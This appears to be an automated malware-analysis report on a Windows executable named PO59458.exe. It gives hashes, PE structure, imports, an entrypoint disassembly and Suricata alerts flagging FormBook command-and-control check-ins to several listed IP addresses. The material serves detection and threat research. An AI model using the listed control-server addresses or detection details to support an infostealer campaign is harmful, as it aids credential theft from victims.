Preview:	...a.W3RO...=.....GD..{K=...3BW3ROYV948KPN1OGGYKNSH5EWT3BW.ROYX&.6K.G.n.F..o. \6w$A-0A3"y5XZV$$nS*g5,%n:&...../8W7aT[3.8KPN1OG>XB.n(R.j4T.jS5.C...+7.+..e+).R..hS%.a;,1kYS.KPN1OGGY..SHyDVT,..hROYV948K.N3NLFRKN.L5EWT3BW3R.MV94(KPNAKGGY.NSX5EWV3BQ3ROYV94>KPN1OGGY;JSH7EWT3BW1R..V9$8K@N1OGWYK^SH5EWT#BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5k#1K6W3R..R94(KPNcKGGIKNSH5EWT3BW3ROyV9T8KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5EWT3BW3ROYV948KPN1OGGYKNSH5E

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.512019270236947
TrID:	Win32 Executable (generic) a (10002005/4) 95.11% AutoIt3 compiled script executable (510682/80) 4.86% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PO59458.exe
File size:	1'326'521 bytes
MD5:	9219fa6e518cf0b9e93cdf38fbf4528a
SHA1:	a7854c63513565ebd734242f0f16089b08f4090d
SHA256:	713086cd7c40dc4b539a9a28dc1679dc91e4e11f2291aad5a9c614d988c3fd2a
SHA512:	369cae795b13f49d8754b64372d953f3603303691c5e1de421166271e2fd70c90c5f1a7a68871af0444b6fd943b7af9318a4bfa5cc7ba8c842bfe815869e0210
SSDEEP:	24576:ffmMv6Ckr7Mny5QLtTdSI4HcD9fDH/I13BvqmIGHHdl:f3v+7/5QLNdD4uf7A7PP
TLSH:	4755F112B7D680B6DDA339B1197BF32ADB3575194337C48BA7E42E368E211009B3B761
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x416310
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	aaaa8913c89c8aa4a5d93f06853894da

Entrypoint Preview

Instruction
call 00007FF57135DB2Ch
jmp 00007FF5713518FEh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FF571351A8Ah
cmp edi, eax
jc 00007FF571351C2Ah
cmp ecx, 00000100h
jc 00007FF571351AA1h
cmp dword ptr [004A94E0h], 00000000h
je 00007FF571351A98h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007FF571351A8Ah
pop esi
pop edi
pop ebp
jmp 00007FF571351EEAh
test edi, 00000003h
jne 00007FF571351A97h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007FF571351AACh
rep movsd
jmp dword ptr [00416494h+edx*4]
nop
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007FF571351A8Eh
and eax, 03h
add ecx, eax
jmp dword ptr [004163A8h+eax*4]
jmp dword ptr [004164A4h+ecx*4]
nop
jmp dword ptr [00416428h+ecx*4]
nop
mov eax, E4004163h
arpl word ptr [ecx+00h], ax
or byte ptr [ecx+eax*2+00h], ah
and edx, ecx
mov al, byte ptr [esi]
mov byte ptr [edi], al
mov al, byte ptr [esi+01h]
mov byte ptr [edi+01h], al
mov al, byte ptr [esi+02h]
shr ecx, 02h
mov byte ptr [edi+02h], al
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007FF571351A4Eh

Rich Headers

Programming Language:

[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8cd3c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9298	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x840	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x80017	0x80200	6c20c6bf686768b6f134f5bd508171bc	False	0.5602991615853659	data	6.634688230255595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xd95c	0xda00	f979966509a93083729d23cdfd2a6f2d	False	0.36256450688073394	data	4.880040824124099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a518	0x6800	e5d77411f751d28c6eee48a743606795	False	0.1600060096153846	data	2.2017649896261107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9298	0x9400	f6be76de0ef2c68f397158bf01bdef3e	False	0.4896801097972973	data	5.530303089784181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x43a	data	English	Great Britain	0.3733826247689464
RT_STRING	0xb2c78	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3278	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb38d8	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3c60	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3db8	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3e40	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3e58	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3e70	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3e88	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb4028	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
GDI32.dll	DeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
OLEAUT32.dll	SafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T15:19:12.606549+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49786	3.131.150.69	80	TCP
2024-10-08T15:20:20.200687+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49737	199.59.243.227	80	TCP
2024-10-08T15:20:20.200687+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49737	199.59.243.227	80	TCP
2024-10-08T15:22:09.680570+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49739	3.33.130.190	80	TCP
2024-10-08T15:22:11.387041+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49740	3.33.130.190	80	TCP
2024-10-08T15:22:15.440375+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49741	3.33.130.190	80	TCP
2024-10-08T15:22:16.685039+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49742	3.33.130.190	80	TCP
2024-10-08T15:22:16.685039+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49742	3.33.130.190	80	TCP
2024-10-08T15:22:23.423014+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49743	3.33.130.190	80	TCP
2024-10-08T15:22:24.649012+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49744	3.33.130.190	80	TCP
2024-10-08T15:22:28.703101+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49745	3.33.130.190	80	TCP
2024-10-08T15:22:30.827642+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49746	3.33.130.190	80	TCP
2024-10-08T15:22:30.827642+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49746	3.33.130.190	80	TCP
2024-10-08T15:22:36.164480+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49747	3.33.130.190	80	TCP
2024-10-08T15:22:39.716094+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49748	3.33.130.190	80	TCP
2024-10-08T15:22:41.444972+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49749	3.33.130.190	80	TCP
2024-10-08T15:22:47.011902+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49750	3.33.130.190	80	TCP
2024-10-08T15:22:47.011902+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49750	3.33.130.190	80	TCP
2024-10-08T15:22:52.651322+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49751	66.198.240.15	80	TCP
2024-10-08T15:22:55.288463+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49752	66.198.240.15	80	TCP
2024-10-08T15:22:57.929613+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49753	66.198.240.15	80	TCP
2024-10-08T15:23:00.498392+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49754	66.198.240.15	80	TCP
2024-10-08T15:23:00.498392+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49754	66.198.240.15	80	TCP
2024-10-08T15:23:06.144927+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49755	75.2.103.23	80	TCP
2024-10-08T15:23:08.780327+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49756	75.2.103.23	80	TCP
2024-10-08T15:23:11.423893+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49757	75.2.103.23	80	TCP
2024-10-08T15:23:14.061724+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49758	75.2.103.23	80	TCP
2024-10-08T15:23:14.061724+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49758	75.2.103.23	80	TCP
2024-10-08T15:23:19.607739+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49759	213.249.67.10	80	TCP
2024-10-08T15:23:22.318147+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49760	213.249.67.10	80	TCP
2024-10-08T15:23:25.024574+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49761	213.249.67.10	80	TCP
2024-10-08T15:23:27.724500+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49762	213.249.67.10	80	TCP
2024-10-08T15:23:27.724500+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49762	213.249.67.10	80	TCP
2024-10-08T15:23:34.975514+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49763	209.74.64.187	80	TCP
2024-10-08T15:23:36.315584+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49764	209.74.64.187	80	TCP
2024-10-08T15:23:38.925339+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49765	209.74.64.187	80	TCP
2024-10-08T15:23:41.570252+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49766	209.74.64.187	80	TCP
2024-10-08T15:23:41.570252+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49766	209.74.64.187	80	TCP
2024-10-08T15:23:46.905457+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49767	3.33.130.190	80	TCP
2024-10-08T15:23:50.950680+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49768	3.33.130.190	80	TCP
2024-10-08T15:23:52.179972+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49769	3.33.130.190	80	TCP
2024-10-08T15:23:55.722888+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49770	3.33.130.190	80	TCP
2024-10-08T15:23:55.722888+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49770	3.33.130.190	80	TCP
2024-10-08T15:24:01.249143+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49771	104.21.73.154	80	TCP
2024-10-08T15:24:03.877205+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49772	104.21.73.154	80	TCP
2024-10-08T15:24:06.492376+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49773	104.21.73.154	80	TCP
2024-10-08T15:24:09.132023+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49774	104.21.73.154	80	TCP
2024-10-08T15:24:09.132023+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49774	104.21.73.154	80	TCP
2024-10-08T15:24:15.372129+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49775	78.141.202.204	80	TCP
2024-10-08T15:24:18.072008+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49776	78.141.202.204	80	TCP
2024-10-08T15:24:20.759320+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49777	78.141.202.204	80	TCP
2024-10-08T15:24:23.444425+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49778	78.141.202.204	80	TCP
2024-10-08T15:24:23.444425+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49778	78.141.202.204	80	TCP
2024-10-08T15:24:29.090182+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49780	188.94.252.140	80	TCP
2024-10-08T15:24:31.796398+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49781	188.94.252.140	80	TCP
2024-10-08T15:24:34.516212+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49782	188.94.252.140	80	TCP
2024-10-08T15:24:37.229124+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49783	188.94.252.140	80	TCP
2024-10-08T15:24:37.229124+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49783	188.94.252.140	80	TCP
2024-10-08T15:24:42.606767+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49784	3.131.150.69	80	TCP
2024-10-08T15:24:45.247752+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49785	3.131.150.69	80	TCP
